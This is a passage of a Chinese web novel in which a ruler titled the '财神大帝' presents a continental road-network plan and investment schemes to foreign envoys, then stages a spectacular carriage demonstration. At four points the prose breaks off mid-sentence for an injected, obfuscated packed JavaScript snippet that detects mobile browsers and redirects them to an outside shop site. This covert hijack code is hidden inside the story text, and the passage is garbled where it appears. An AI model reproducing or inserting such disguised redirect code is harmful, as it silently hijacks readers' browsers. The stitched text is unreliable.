向北,朱红线粗如韭叶,自洛阳起,贯太原,穿雁门,过云中,抵阴山,直至北海之滨。沿线绣有奔驰骏马、成群牛羊、叠摞毛皮图腾,更有小小毡帐、牧民扬鞭牧羊场景,栩栩如生。线旁泥金小注:“朔方直道,拟修二千八百里,连环九边重镇,控扼草原孔道。三年成,则漠南王庭旬日可达,边军粮秣转运之费可省七成。” 向西,金丝线蜿蜒如龙,出长安,经河西走廊,过阳关,越流沙,绕白龙堆,穿葱岭,贯通西域三十六国,直至安息、大秦。金线沿途,绣有负重骆驼、满盘珍宝、缕缕香料烟形,更有胡商牵驼、僧侣负笈、使者捧国书的小像。泥金注曰:“西域商道,拟复汉时旧迹,兼开天山北新线。总长近**,设驿所百二十处。成,则丝绸之路岁入可增五倍,佛法东渐、珍宝西来,皆赖此脉。” 向东,靛蓝线沿济水、黄河而下,自洛阳经汴梁、济南,直抵登莱诸港。蓝线与海上航线虚线交织,线上绣楼船、帆影、浪花纹。注云:“东海驰道,接漕运,连海港。江南漕粮、辽东药材、高丽参茸、倭国金银,皆可由此道疾输神京。” 向南,翠绿线穿荆襄,过洞庭,经苍梧,达交趾、日南。更有一缕翠绿虚线跨海而南,指向琼崖、流求。线上绣芭蕉、荔枝、孔雀、犀牛纹,海波处添鲛人、珊瑚。注曰:“岭南贡道,通百越,抚夷洲。三年成,则岭南珍果、南洋香料,可鲜抵京师;流求鹿皮、玳瑁,旬月可至。” 中原腹地,赭色线路纵横如棋盘经纬,将洛阳、长安、邺城、建康、成都、江陵等雄城巨邑串联;将河东盐池、江淮粮仓、江南丝市、蜀中锦官城、景德瓷窑紧密编织。线路交汇处,皆绣有小小市集、码头、仓库图案,市集中人物不过米粒大小,却衣冠清晰,贩夫走卒、车马货物,历历可辨。 这已非寻常舆图。 这是一张经略天下、控驭四方的战略棋盘!是一种囊括八荒、吞吐六合的帝王视野!图上每一道线,皆是未来帝国气血运行的脉络;每一个结点,皆是权力与财富辐辏的中枢。它昭示着,一旦这路网成型,粮秣、兵员、文书、商货将以前所未有的效率流转,王权之剑将所指无敌,教化之风将无远弗届。闭塞、迟滞、割裂,这些千百年来制约王朝兴衰的痼疾,将被这张巨网一一勒毙。 各国使节立于台下,仰观此图。 许多人早已忘记了拭汗,瞠目结舌,神魂俱震。 波斯副使阿尔达希尔,年约四旬,深目高鼻,一部蜷曲胡须修剪得整整齐齐。他身着锦绣长袍,腰束镶宝石革带,本是使团中最为注重仪容者。此刻,他却浑然不顾额前汗珠滑入眼中,只死死盯着图上那条金线——那条自葱岭向西,贯穿安息故地,直抵地中海滨的“西域商道”。他的呼吸渐渐粗重,手指在袖中微微颤抖。波斯帝国,昔年横跨三大洲,驰道驿站系统曾是帝国命脉。然萨珊王朝倾覆后,旧道多毁于战火,商旅断绝,国势日衰。若此道真能重修……不,不止重修,看图上标注,这条“新丝路”竟比汉时旧道更直、更平,驿站更密!阿尔达希尔仿佛看见,驼队满载波斯银器、地毯、藏红花,沿着金线浩荡东来;而中原的丝绸、瓷器、茶叶,又将沿着同一条线,源源不断西去。波斯坐拥要冲,仅抽过往商税一成,便足以重建王朝荣光!他喉结滚动,几乎要脱口高呼,却强自压抑,只将双拳攥得骨节发白。 大秦(罗马)使节马库斯,一位年过五旬、发色灰白的老者,身着紫边托加袍,神情素来沉稳矜持。此刻,他却失态地向前踉跄半步,浑浊蓝眼死死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901315|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锁住地图最西端——那里,金线终点处,绣着一座微型七丘之城,城上旌旗飘扬。旁注小字:“大秦罗马,距长安一万二千里,若通此道,快马驿使百日可达,商队往来不过岁余。”百日!马库斯心中巨浪滔天。他自君士坦丁堡出发,乘船渡黑海,陆行穿安息、贵霜,经河西入玉门,一路跋涉,足足用了两年又三个月!途中经历沙暴、马贼、部落劫掠、疾病……随行百人,抵达神京时仅余三十七。若真有这般平坦通衢,百日……不,纵然是岁余,那也是翻天覆地!东西两大帝国,将不再是传说中遥不可及的朦胧影子,而是可以旬月通达的真实邻邦。商贸、使节、学者、工匠……文明的火种将以前所未有的速度交汇碰撞。马库斯感到一阵眩晕,忙以手扶额,掌心湿冷一片。他身负元老院密令,务必要与东方这新兴强权建立联系。如今看来,何止联系?这“天下通衢”一旦建成,整个世界的格局都将重塑!而大秦,绝不能置身事外。 吐蕃使者噶尔·东赞,年仅二十五,是赞普松赞干布麾下新锐将领。他身披牦牛毛毡袍,肤色黧黑,颧骨高耸,一双鹰目锐利如刀。此刻,这双鹰眼正死死钉在地图西南——那里,自松州向南,一条虚线蜿蜒入吐蕃腹地,经逻些(拉萨),延伸至泥婆罗、天竺。线旁无绣饰,唯以朱砂小字标注:“吐蕃道,待议。”待议!噶尔·东赞心头冰火交织。吐蕃地处高原,山险路绝,与中原交通唯靠茶马古道,崎岖万分。若此“吐蕃道”真能修通……雪域的麝香、黄金、良马,将如江河奔流东去;中原的茶叶、丝绸、铁器,将似春潮涌入高原。赞普的伟业,吐蕃的兴盛,或许便系于此“待议”二字!他死死咬住下唇,口中泛起铁锈腥甜。必须争!无论付出何等代价,必须让此道从“待议”变为“必筑”!他环视周遭诸国使者,人人眼中皆燃着贪婪、震撼、算计的火焰。这是一场无声的博弈,而筹码,便是图上那些丝线。 倭国遣唐使阿倍仲麻吕,此时尚是青年,面容清俊,身着仿唐圆领袍,腰佩短剑。他仰望着地图东端那条跨海虚线——自登莱向东海延伸,经对马、壹岐,直抵难波津(大阪)。线旁绣着小船、浪花,注曰:“东海航线,通倭国、新罗、百济。”阿倍仲麻吕袖中双手紧握,指甲深陷掌心。倭国孤悬海外,遣使入唐,常需候季风、避飓风,九死一生。若天朝愿以巨舰、海图、航海术相助,开辟稳定航线……不,看此图气魄,或许将来真会修筑跨海长桥、或海底隧道?他被自己这念头惊得一颤。但眼前这“天下通衢”的构想,本就已超越凡俗想象。或许,对于这位“财神大帝”而言,沧海变通途,并非妄言?他深吸一口气,将腰间短剑按得更紧——此剑乃**亲赐,命他“见机而作,务求实利”。如今,这“机”已如旭日东升,灼灼逼人。 第139章天下通衢共建合盟章程 南洋诸岛、草原诸部、西域城邦的使者,或面色惨白,或激动战栗,或伏地喃喃,或仰天祝祷。他们从这幅图中,看到了天朝上国深不可测的国力与囊括四海的野心,更看到了自身邦国在未来天下格局中的位置——或是坐拥要冲,通达八方;或是僻处一隅,渐被边缘。而这一切,皆系于那位高台之上、玄衣凤帜的“财神大帝”一念之间。 “铛——铛——铛——!” 午时正,景阳钟鸣,声震四野。 钟声自洛阳皇城方向传来,浑厚悠长,穿云裂日,将众人从震撼中唤醒。 千旗肃静,万籁俱寂。 所有人的目光,齐刷刷投向观礼台。 檀木台阶上,脚步声起。 不急,不缓,每一步都踏得沉稳坚实,在鸦雀无声的旷野上,清晰可闻。 谢凤卿再次登台。 她已换下晨间大朝会时的银白锦袍,改着一身月白纻丝箭袖劲装。纻丝产自江南,以精练生丝织就,轻薄挺括,日光下泛着珍珠般的柔光。劲装贴身,勾勒出她修长矫健的身形,腰束玄色鞶带,带上悬一枚羊脂白玉环。外罩玄色绣金凤比甲,比甲以暗金线满绣云凤纹,凤首在左肩,凤尾迤逦至右襟,行动时金纹流转,似凤舞九天。 她青丝尽数绾起,以一枚羊脂玉簪固定,作男子髻式,额前不留一丝碎发。一张脸完全暴露在烈日下,肤色如玉,鼻梁挺直,唇色因炎热略显淡粉,而那双凤眸——微微眯起,眸光却锐如浸雪寒星,缓缓扫视全场。 烈日灼灼,热风扑面。台下千人屏息,汗流浃背,她却神色沉静,额角不见半点汗渍,仿佛周身自有一股清冽气场,将酷热隔绝在外。 她手中所持,非是卷轴诏书,而是一柄长三尺、通体黝黑的令旗。旗杆为百年紫檀木所制,沉甸甸泛着乌光,顶端嵌虎头铜饰,虎口衔环,环下缀三缕黑缨。旗面以玄色贡缎为底,金线绣北斗七星,星子皆以米粒大的金珠缀成,灼灼耀目。旗边镶一圈朱红火焰纹,此刻无风,旗面垂落,静默中自有一股肃杀威严。 她行至台心,站定。 目光再次缓缓扫过台下。 掠过面色凝重的波斯使臣,掠过眼神炽热的吐蕃小将,掠过神情恍惚的大秦老者,掠过南洋诸使惶恐又期待的脸……最终,落向远处那热火朝天的筑路工地,那沉默而坚实的百丈石道,那覆盖车队的厚重苫布。 然后,她开口。 声音清越,不高,却透过台前那数具黄铜铸造的“传声瓮”,被巧妙放大,清晰稳定地传遍全场每一个角落: “诸位使臣,远道而来,辛苦了。” 开场白平淡无奇,却让所有人精神一凛。 “晨间,**轰鸣,诸位已见开山裂石、荡平险阻之威。”她语音微顿,凤眸中锐光一闪,“然,国之命脉,在于通达。民之生计,在于往来。” 她抬起右手,玄色袖口滑落,露出一截皓腕。手腕转动,令旗斜指东方——那是黄河的方向,也是中原千年文明奔流的方向。 “昔者,诗云:‘车辚辚,马萧萧,行人弓箭各在腰。’”她的声音陡然转沉,带着金石般的质感,每个字都敲在听者心坎上,“行路之难,难于上青天!雨雪泥泞,可滞万石重载;山川险隘,可阻千骑轻驰。关山难越,谁悲失路之人?萍水相逢,尽是他乡之客!” 台下,许多中原老臣、行商出身的使节,眼眶微热。他们走过蜀道,爬过秦岭,渡过黄河,深知行路之苦。车辎陷泥,人畜俱疲;盗匪劫道,血染荒郊;寒冬雪拥,客死异乡……千百年来,多少抱负、多少财富、多少亲情,湮灭在漫漫征途? 谢凤卿话锋一转,声调昂起,如长剑出鞘: “此等锢塞天下生机之铁锁,今日,当以磐石为刃,以灰土为火,熔而断之!” 她蓦然转身,玄袖迎风一展,手中令旗如墨龙腾空,旗尖直指身后那幅巨图! “今日,本王以此《天下通衢路网规划总图》为纲——”她声音清越如凤唳九霄,在旷野上远远传开,“集天下巧匠良工之力,聚四海资财物料之丰,修筑贯通九州、连接万邦的——天下通衢!” “此道——”她旗杆顿地,“咚”一声闷响,仿佛敲在每个人心头。 “石板坚平,不惧雨雪浸渍!三合土基,可承万钧重压!驿亭百里相接,可保昼夜兼行!急递快马,一日夜可奔六百里!寻常商旅,旬月之程可缩至旬日!” 她向前踏出一步,目光如炬,灼灼逼人: “诸位可试想:一支官家车队,驭骡马百头,载粮秣万石,运兵甲千副,护卫数百,在此道上奔驰,风雨无阻,昼夜不息!千里江陵,一日可达——非复诗家虚言,而是明日之常!” “此道一旦纵横成网——”她手臂一挥,划过一个囊括天地的弧度,“关山之阻,将成通途;海内之距,将被重定!北地寒裘,三月可抵江南;南海明珠,旬日可献帝京;西域胡商,岁内可往来两返;东瀛遣使,再无须搏命沧海!” “它将碾碎一切闭塞、迟滞、割裂!它将重塑天下物流、人流、钱流、信息流!它将使王权政令,朝发夕至,无远弗届;将使边关军情,一日夜达于御前;将使灾荒粮秣,旬日调拨至灾区;将使天下才俊,不拘出身地域,皆可赴京赶考,为国效力!” 声音越来越高,越来越急,如大江奔流,如惊涛拍岸,在旷野上滚滚回荡。台下众人,无论中原官员还是异国使节,皆被这磅礴气势慑住,心神摇荡,血涌面颊。 谢凤卿蓦然收声。 天地间,只余蝉鸣与风声。 她微微喘息,胸脯起伏,额角终于沁出一层细密汗珠,在烈日下晶莹闪烁。但那双凤眸,却亮得惊人,如两簇燃烧的火焰。 片刻沉寂后,她语调一转,变得沉稳而务实: “天下通衢之业,将与‘世界**库’同筹划,共推进。首期,将以京畿为核心,优先修筑连接太原粮仓、河东盐池、巩县铁矿、登莱海港,及居庸、紫荆、倒马三关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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列国可以金帛、特产、土地折价,入股“天下道路总管衙门”下设之“通衢商号”(财神商会主理)。每股作价千贯,最低认购百股。按股分享官道沿途驿馆、货栈、税关之利,及优先通行权、免税额度。后附三年期、五年期、十年期红利测算表,年利自二分至五分不等,视路段繁华程度浮动。 贰、技匠援筑式: 财神商会可派遣精通勘测、设计、夯筑、石工之大匠、熟手,赴该国协助修筑境内支线或连接道。匠人分三等:大匠月俸百贯,带徒五名;熟手工月俸三十贯,普通役夫月俸十贯。另收“技导费”,每百里道,收费五千贯至五万贯不等,视地形复杂度而定。可分期支付,亦可以特产抵偿。 叁、役作协作式: 该国出丁壮民夫,每丁每日工钱五十文,管两餐。由财神商会工匠训导筑路技艺,工期结束后,可择优留用为养路工,或发给“匠籍凭证”,归国后可受聘筑路。该国官府可按出工人数,抽取一成“荐工费”。 第140章此车队,名为驰风辂 肆、资源易道式: 该国以境内特定矿藏(金、银、铜、铁、盐、石炭等)开采权、沿途土地永租权、或未来十年之商税抽成等为质,换取财神商会投资修筑贯通其境之主干道。道路产权归财神商会,运营三十年,期满后无偿移交该国。后附资源估值表、税成测算模型,精细到令人发指。 伍、过境盟约式: 官道穿越其疆,订立详尽之过境税则、安保条陈、驿传管理章程,确保道路畅通无阻。该国可设关收税,税率由双方协定(建议值:货值百分之三至五),财神商会抽税成之一为“护路费”。若道路遇劫、损坏,该国须限期内修复,否则财神商会有权自行介入,费用从该国税收中扣除。 陆、债劵募资式: 由“天下道路总管衙门”发行“天下通衢建设债劵”,面额分十贯、百贯、千贯三种,年息八厘,五年还本。由财神商会作保,面向海内外商贾富民募资,用于特定路段营造。购券者享有该路段命名权(如“波斯商道”、“大秦友谊路”等)、立碑记名、终身免缴该路段通行税等荣典。 …… 每式之下,皆附数页范例。 譬如“资源易道式”,便附“漠南草原道”假想案例:漠南部族以三处盐湖十年开采权、沿途百里草场永租权为质,财神商会投资修筑自幽州至单于庭的八百里直道。道路修成后,漠南盐价可降四成,毛皮东输效率增五倍,部族岁入预计翻两番。而财神商会除掌握盐湖、草场外,三十年运营期内,仅过路税一项,便可收回投资十倍之利。 又如“债劵募资式”,附“洛阳-汴梁官道”募资方案:全长三百里,预算八十万贯。发行债劵八千张(百贯面额),年息八厘,五年还本。购券百张以上者,可于道旁立功德碑,名传后世。已有江南丝商、河东盐枭、蜀中锦商等三十余家认筹,顷刻售罄云云。 这些范例,数据翔实,测算精密,利弊剖析透彻。纵是全然不通经济的外行,翻阅片刻,也能对投入几何、产出几许、风险何在,了然于胸。 许多使节捧册之手,微微发颤。 这非是寻常邀约。 这是一份置于案前、足以易鼎国运的“天命择卷”!是裹着蜜糖的**,还是藏着璞玉的顽石?是千载难逢的崛起之机,还是饮鸩止渴的**之约?何以抉择,需付何等代价,可获几多益处……泼天机遇与千钧重责,并压心头! 波斯副使阿尔达希尔,指尖冰凉。他快速翻阅至“资源易道式”,目光钉在“波斯段丝路修筑预案”上。预案显示:自葱岭至泰西封(波斯故都),全长三千四百里,预估造价九百五十万贯。波斯需以境内三处银矿、五处铜矿三十年开采权为质,另许沿途所经三省十年商税抽成(抽三成,财神商会分其一)。道路修成后,波斯岁过境商税预计可达二百万贯,而财神商会三十年运营总利,可达……他瞳孔一缩:三千七百万贯!近乎造价四倍!这……这是吸血!他胸中怒火升腾,几乎要摔册而起。然而,目光落在“丝路重修后,波斯东西贸易总额预估增长表”上,那一连串数字,又让他如坠冰窟:第一年,增三成;第三年,翻倍;第五年,三倍……十年后,波斯或可重现万国来朝盛景。代价是矿产与税收被掌控,可收益……是国运重兴。他闭上眼,额角青筋突突直跳。 吐蕃使者噶尔·东赞,呼吸粗重。他径直翻到“吐蕃道”预案,却发现只有寥寥数行:“地形极险,勘探未竟。初步估测,自松州至逻些,一千二百里,造价不低于四百万贯。需以金矿开采权、茶马专营权为质。具体条款,待勘测后议。”四百万贯!吐蕃举国岁入,不过五十万贯!且要金矿、茶马专营权……他牙关紧咬。但再看下去:“道成后,吐蕃至长安行程,可由四月缩至一月。茶马贸易额,预估可增十倍。赞普政令通达全境,时日缩半。”十倍!他心脏狂跳。茶马贸易,是吐蕃命脉。若真能增十倍……松赞干布赞普统一高原的伟业,将再无滞碍!他猛地合上册页,胸膛剧烈起伏。必须立刻修书禀报赞普!不,或许可以先答应勘探,看看天朝匠人手段,再作计较? 大秦使节马库斯,老眼昏花,却仍吃力地辨认着拉丁字母。他翻到“债劵募资式”,心中一动。罗马帝国疆域辽阔,国库却因连年战事空虚。若要仿效天朝修筑驰道,力有未逮。但若发行“债劵”,向元老、富商、骑士阶层募资……他枯瘦的手指抚过“年息八厘”四字。八厘,在罗马,这是足以让任何贵族心动的利率。而“命名权”、“立碑记名”、“终身免税”这些荣典,对重视荣誉的罗马贵族,更是无法抗拒的诱惑。或许,可以劝说元老院,以“大秦-天朝友谊路”之名,认购一部分债劵?既无须抵押国土矿藏,又能分享道路之利,更可彰显罗马与天朝并驾齐驱的崇高地位……他灰蓝眼眸中,闪过一丝精光。 倭国阿倍仲麻吕,则死死盯着“技匠援筑式”。倭国多山,道路崎岖。若能从天朝请得筑路大匠,传授技艺,再辅以倭国人力……他快速心算:聘大匠一名,月俸百贯,年一千二百贯;熟手工十名,年三千六百贯;技导费……他倒吸一口凉气。但,若真能修通自难波津至京都的官道,倭国朝廷对地方豪族的掌控将极大增强,商贸也将兴盛。这代价,或许值得?他悄悄抬眼,望向高台上那玄衣身影,心中已有决断。 南洋诸使,多目不识丁,捧着册页茫然无措,急得抓耳挠腮,忙唤通译上前解说。通译低声快速翻译,诸使脸色忽青忽白,时而惊喜,时而忧愁,时而恐惧,如痴如癫。 谢凤卿静立台上,俯视众生相。 她看见阿尔达希尔额角暴起的青筋,看见噶尔·东赞紧攥的拳头,看见马库斯眼中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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各国使节屏住呼吸,眼睛瞪得滚圆,死死盯着那些被苫布覆盖的巨车。就连中原官员,也多伸长脖颈,面露好奇——他们虽知今日有“车阵”演示,却也不知具体。 谢凤卿不再多言。 她将手中令旗凌空一划,划出一个特定的符式——旗杆自左上向右下斜劈,旋即自右下向左上反撩,在空中留下一个清晰的“×”形轨迹。 “呜——!!!” 低沉浑厚、似**又似海螺的号角声,自车队中骤然冲天而起! 那声音,非金非革,非丝非竹,低沉如大地闷吼,却又带着某种诡异的穿透力,仿佛能直接钻入颅骨,震得人脏腑皆颤!声浪滚滚,在平原上荡开,惊起远处林间飞鸟无数,连那震耳欲聋的蝉嘶,也瞬间被压了下去! 第141章是幸运,还是不幸? “嗬!” 不少使节被这突如其来、直撼肺腑的号角惊得浑身剧颤,下意识连退数步,更有胆怯者双腿一软,直接瘫坐于地,面无人色!便是见多识广的中原官员,亦多骇然变色,面面相觑——此等号角,闻所未闻! 此声未落—— “哐!哐!哐!” 沉重、整齐、如巨灵踏步的轰鸣,自苫布下传来! 那声音,仿佛数十名重甲武士,以铁靴同时踏地!又似地脉深处,有巨物苏醒,翻身欲起!每一步,大地都随之微微一震,黄土簌簌。 覆盖车队的厚重苫布,被两旁早已待命的力士齐力扯下! “哗啦——!” 数十块苫布同时滑落,露出其下真容。 烈日灼光,毫无保留地倾泻而下。 那“驰风辂”车阵的庞然身影,悍然现世! 车队凡二十乘,分作四列,每列五车,整齐如刀切斧凿。 车。 每车皆以百年铁力木、紫檀木、楠木等硬木为骨,关键处——车轴、车轮、车辕连接点——皆以精铁箍环加固,铁环厚达寸许,在日光下泛着沉郁的乌光。车身长逾两丈,宽近一丈,高约八尺,较寻常马车庞大了何止三倍!车舆呈长方形,上覆双层牛皮鞔裹的拱形车篷,牛皮鞣制得黝黑发亮,以桐油反复浸泡,防水防火。篷侧开有尺许见方的窥窗,窗口嵌着可开合的铜格栅。车尾设有木质踏板,可收放。 车轮最为惊人:轮高六尺,几与常人等高!轮辐以硬木削制,粗若人臂,足足二十八根,如伞骨般撑起巨大轮辋。轮缘包着三指宽的熟铁,铁缘上甚至还铸有浅浅的防滑纹路。这般巨轮,碾过寻常沟坎,如履平地。 而车辕结构,更是前所未见:非是寻常单辕,而是“双辕四辙”——两根主辕自车舆前部平行伸出,长约一丈五,粗如海碗。每根主辕两侧,又各有一根稍短的副辕。如此,一车便可同时系挂四组、八匹乃至十二匹骏马!辕木以铁箍加固,与车轴连接处,更以精钢打造的“转向枢”相连,使这般巨车,竟也能灵活转向。 马。 最令人屏息的,是车前套马的阵仗—— 每车前,并非单马或双马,而是整整八匹清一色的河西高头骏马!马匹雄健异常,肩高皆过六尺,头至尾长近丈,通体**色光亮如锦缎,无一根杂**。八马分为两列,左右各四,鞍辔鲜明,口衔精铁打制的马嚼,嚼环以牛皮缠裹,防止磨伤口唇。颈套厚牛皮鞅,鞅上缀铜铃。马匹静立时,筋肉贲张,四蹄如柱,马首高昂,鼻孔翕张喷吐白气,目光炯炯,如龙如虎。 此刻,二十乘车,一百六十匹骏马,静静地屹立于新铺的青石板道上。 马匹清一色,车驾整齐划一,御手皆着玄色劲装,腰束革带,头戴范阳笠,手持长鞭肃立车左。一百六十匹马,三百二十只马蹄,偶尔轻刨地面,发出“嘚嘚”轻响;马鼻喷出的白气,在灼热空气中凝成缕缕白烟;马身汗气、皮革鞣制的气味、桐油的气息、还有淡淡马粪味道,混合成一股原始而强悍的气息,弥漫开来。 整个车阵虽未动,却散发出一种千军待发、排山倒海般的恐怖压迫感。那股沉默的力量,比方才**轰鸣更令人心悸。仿佛这不是车队,而是一群披着木铁甲胄、随时会暴起噬人的洪荒巨兽。 观礼台上,谢凤卿将众人震撼神色尽收眼底。 她不再多言,行至为首那乘车驾旁临时搭设的木台——此处已设为发令之所,台上设鼓、锣、令旗架等物。她将手中那柄七星黑旗,稳稳插入台前一个特制的紫檀木旗架。 然后,在万籁俱寂,千人屏息,连风都仿佛凝固的凝视中—— 她抬起右手,五指并拢,做了一个简洁、有力、如刀劈斧削般的下劈手势。 手势落下的瞬间。 “驾——!!!” 二十名御手,齐声断喝! 喝声短促、暴烈,如炸雷裂空! 几乎是同时,二十条丈二长鞭,凌空抽响! “啪——!!!” 鞭声清脆刺耳,撕裂了凝滞的空气。 下一瞬—— “咴咴咴——!!!” 一百六十匹河西骏马,同时扬蹄长嘶! 嘶鸣声汇聚成一片狂暴的声浪,震得人耳膜嗡鸣!马匹人立而起,前蹄腾空,碗口大的铁蹄在日光下闪着寒光,又轰然落地! “轰隆隆隆……!!” 巨大的包铁车轮,开始转动。 起初缓慢,沉重。包铁轮缘碾过青石板道,发出“嘎吱——嘎吱——”的涩响,那是金属与石头摩擦的声音,尖锐刺耳,令人牙酸。 但很快,在御手呼喝与鞭响催促下,车轮转速加快。 “轰隆隆隆——!!!” 雷鸣般的轰响,骤然爆发! 一百六十匹马,同时发力!马蹄翻飞,如浪如潮!包铁巨轮疯狂转动,碾过石板,发出沉闷、整齐、连绵不绝的雷霆之声!那声音不似寻常车行辘辘,而是带着一种金属与石头硬碰硬的质感,沉重、浑厚、霸道,仿佛大地都在随之震颤!石板路面在巨轮碾压下微微颤抖,尘土自轮下扬起,瞬间在车后拖出二十条滚滚黄龙! 车阵动了! 这由精良车驾、雄骏马匹、老练御手组成的庞然车阵,沿着那百丈笔直石道,开始启动、加速、疾驰! 御手立于车左,双脚微分,稳如山岳,一手控缰,一手挥鞭,口中呼喝不断。长鞭在空中炸开一朵朵鞭花,却极少真正落在马身——这些河西骏马,显然经受过严格训练,只听口令,观旗号,便能整齐划一。 车队保持着严整队形,四列并驱,车与车之间相距不过一丈。马蹄踏地声、车轮碾石声、御手呼喝声、鞭梢破空声,混作一股钢铁洪流般的轰鸣,在平原上滚滚推进! 速度越来越快。 起初是缓行,继而小跑,十丈之后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吐蕃噶尔·东赞,鹰目圆睁,呼吸粗重。他想的,是雪域高原。吐蕃多山,道路险绝,牦牛驮队日行不过三十里。若能有此等巨车,此等坦途……不,吐蕃没有这般马,没有这般车,没有这般路。但,若依附天朝,能否换来?哪怕只换来十分之一,百分之一?他看见车队奔驰时,那整齐划一的马蹄,那沉稳如山的车驾,那令行禁止的御手。这不是散兵游勇,这是一部精密的机器,是国家力量的具现。他忽然明白,晨间的**,午时的车阵,背后的东西,比**和车更可怕——是组织力,是工程力,是财力,是野心。他感到口干舌燥。 大秦使节马库斯,老泪纵横。他想起了罗马帝国的荣光。曾几何时,罗马也有“条条大路通罗马”的谚语,也有纵横欧亚的驰道系统。可如今,帝国**,道路荒废,蛮族肆虐。而眼前这车阵,这道路,这规划……比鼎盛时的罗马,更加恢弘,更加精密,更加野心勃勃。这不是为神修筑的凯旋门,不是为帝王修筑的宫殿,这是为帝国生命修筑的血管。他颤抖着在胸前划了个十字。上帝啊,东方这个帝国,正在以一种前所未有的方式崛起。它不满足于武力征服,它要重塑这个世界运行的方式。而自己,一个垂垂老矣的使节,竟有幸见证这开天辟地的一刻。是幸运,还是不幸? 第142章今日所见,不过雏形 倭国阿倍仲麻吕,面色潮红,浑身颤抖。他想的简单得多:快!太快了!若倭国能有此道此车,自难波津至平城京,一日可达!**政令,将再无滞碍!国内那些拥兵自重的豪族,在如此高效的兵力投送能力面前,将如土鸡瓦狗!必须学到!不惜一切代价,必须学到筑路之术,造车之法,驯马之方!他猛地跪倒在地,朝着车队方向,重重叩首。 南洋诸使,多已瘫软在地,喃喃祷告,涕泪横流。于他们而言,这般景象,已近乎神迹。那是人力所能及的吗?那一定是天神的力量!而执掌这力量的“财神大帝”,便是行走人间的神明! 短短百丈距离,车阵疾驰而过,不过十余息。 “吁——!” 车队前端已抵终点,御手齐声呼喝,猛拉缰绳。 “嘶聿聿——!” 骏马长嘶,人立而起,铁蹄在石板上刮出刺耳声响,车阵缓缓减速,最终稳稳停住。 尘土渐落。 一百六十匹骏马喷鼻喘息,浑身汗出如浆,在日光下蒸腾起白蒙蒙的热气。包铁巨轮犹自微微转动,发出“嘎吱”轻响。御手们跳下车,轻拍马颈,安抚爱驹。 旷野上,死一般寂静。 只有风声,马匹粗重的喘息声,还有人们自己如鼓的心跳。 但这车阵所展现的、将优良道路、精良车驾、健硕马匹、严明号令结合后所产生的恐怖运输与机动能力,已如烧红的烙铁,深深烫印在每一个目睹者的魂魄深处,毕生难忘。 试想,这般车阵,不是二十乘,而是二百乘,二千乘,连绵数十里,运载着堆积如山的粮草军械,或成千上万全副武装的精兵锐卒,在纵横天下、平坦如砥的通衢大道上,昼夜兼程,风雨无阻……那将是何等光景? 物资转运之速之量,将增十倍、数十倍!大军调动之诡之疾,将如臂使指,朝发夕至!王权政令所达之远之确,将无远弗届,如响斯应! 经济、军务、政令、教化……一切旧有之桎梏,一切山川之阻隔,一切距离之藩篱,皆将被这王道坦途与铁流车阵,碾为齑粉,重定乾坤! “财神大帝万岁!!!” 一个嘶哑劈裂的呐喊,再度点燃天地! 此番,已非晨间那夹杂着敬畏与盘算的呼号,而是彻底被这超越认知的国力与伟绩所慑服、所震撼、所由衷崇拜的狂热嘶吼!那声音来自一个跪伏在地的南洋岛国使节,他额头紧贴滚烫的黄土,双手高举,泪流满面,用生硬的汉话嘶声呐喊。 这声呐喊,如同投入滚油的火星。 “愿天朝通衢早日通达鄙邦!我波斯愿献出国中最好路线,与大帝共筑王道!”阿尔达希尔再也按捺不住,越众而出,单膝跪地,以手抚胸,用波斯语高呼,通译立刻大声翻译。 “南海岛国,星散波涛,亟需此天路相连!乞大帝垂恩,赐我舟师,传我技艺,我邦愿世代为天朝屏藩,永贡不绝!”一个皮肤黝黑、头插羽毛的南洋酋长,扑倒在地,连连叩首。 “我大宛国,愿献汗血宝马三百匹,美玉五十车,但求通衢过境,永缔盟好!”大宛使者激动得胡须乱颤。 “草原诸部,愿为大皇帝驱策,出丁壮十万,献牛羊百万,但求**得筑路御车之法一二!”一个满脸虬髯的突厥酋长,捶胸高呼。 “财神大帝!您便是铺设王道、驾驭铁流的现世神皇!我身毒摩揭陀国,愿举国皈依,奉大帝为转轮圣王!”天竺僧侣双手合十,泪流满面。 更加狂热、更加敬畏、甚至带着战栗泣音的呐喊,自各国使节口中迸发!此番,他们跪拜得愈发虔诚,许多人的额头紧贴滚烫土地,姿态卑微如觐见天神。有人撕扯衣袍,有人以首抢地,有人高呼神号,有人痛哭流涕。场面彻底失控,如痴如狂。 他们所见的,已非止财富与奇技。 乃是一种足以重塑山河、定鼎天下的终极伟力!一种将自然、人力、资本、技术熔于一炉,化天堑为通途,缩**为咫尺的神迹!而能执掌此力,并愿(纵是有条件)泽被天下的“财神大帝”,在其眼中,已超脱俗世帝王,近乎执掌文明轨迹、天道运行的至高神明! 